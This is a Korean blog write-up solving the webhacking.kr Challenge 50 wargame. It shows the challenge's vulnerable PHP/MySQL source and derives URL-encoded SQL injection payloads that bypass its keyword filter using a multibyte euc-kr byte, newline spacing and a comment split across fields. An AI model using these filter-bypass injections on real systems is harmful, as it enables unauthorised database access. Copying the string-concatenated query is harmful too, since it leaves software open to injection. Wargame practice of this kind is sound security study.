늘모자란, 개발 :: [webhacking.kr] Challenge 50

늘모자란, 개발


어디서 많이 본 화면이다.

<html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1258110000) exit();
?>
<!-- index.phps -->

<?
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');


foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}


if(eregi("union",$_GET[id])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));


if($data)
{
if($data[0]=="1") echo("level : 1<br><br>");
if($data[0]=="2") echo("level : 2<br><br>");
} 

if($data[0]=="3")
{
@solve();
}
 
 
if(!$data)
{
echo("Wrong");
}
 
}
 
?>

<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=hahah>hahah</a></center>
<br><br><br>
</body>
</html>


소스를 보니 진짜로 많이 본 화면이다.
혹시 하는마음에 답을 똑같이 넣어봤지만 되진않았다. 되면 어이없을뻔하긴했지만, 멀티바이트 취약점을 똑같이 이용해야하는것 같긴하다.
날로 먹으려는 생각은 일단 좀 버리고 제대로 읽어보도록.. 흠..

결론은 lv를 select해야될 것 같다. 앞선 문장을 다 false로 만들고 or을 넣어서 lv3을 select해야할 것 같은데..
취약점을 이용해 ' 를 무력화 하기 위해 앞에 %a1을 붙여주고, 공백을 필터링하고 있으니 or 대신 || 를 사용해 최소화한다. id에 이렇게 값을 넣어본다.

%a1%27%7C%7C1%23


풀어쓰면 '||1# 인데 이렇게 치면 level1이 나온다. 뒤쪽까지 주석처리에 성공한 모양이지만 잘되나 확인해보자.

%A1%27%7C%7Clv%0Alike%0A2%0A%23


공백을 넣어야하는데 공백문자는 필터링되어있다. 그래서 공백을 %0A로 바꿔주었다. 다 풀어쓰면 이런모양이다.

'||lv
like
1#


얘는 level: 1이 나온다 다된줄 알고 기뻐해서 2로 고쳐서 날려봤는데... 안 나 온 다..
아마 lv2는 없는것 같다. 3으로 고쳐서 해봐도 똑같이 안된다.
값이 없을땐 강제로 만들면 되지 라는 깡패같은 문제를 푼적이 있겠지만, union을 써야한다.

근데 골때리는게 id에는 union을 쓸수가 없다. 기껏 뒤쪽 문장을 주석처리 시켜놨더니 풀고 pw에 써야될 판이다.
pw는 심지어 md5 해쉬화 하고 있다. 이 부분을 다 무력화 시키지 않으면 안되는데.. 감이 안잡혀서 역시 검색찬스를 썼다. 답은 주석이었다.
방금 주석 못쓴다고 하지 않았냐는데 아니다. 쓸 수 있다.
#도 있고 -- 도 있지만, /**/를 완전 까먹고 살아서 이꼴이다.

요컨데 이런 꼴로 만들면 되겠다

"select lv from members where id='/*' and pw=md5('*/ union select 3 #'"


이를 urlencode해서 옮기면 이렇다.

id=%A1%27%2F%2A&pw=%2A%2F%0Aunion%0Aselect%0A3%23


정말 /**/는 상상도 못했다. 다 풀었다 생각했는데 왠 벽이 하나 나타난 느낌이었다...ㅠㅠ
2016/04/02 15:33 2016/04/02 15:33